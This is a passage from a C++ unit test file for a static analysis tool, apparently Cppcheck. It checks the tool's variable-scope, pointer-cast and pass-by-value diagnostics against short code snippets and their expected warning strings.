\" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", 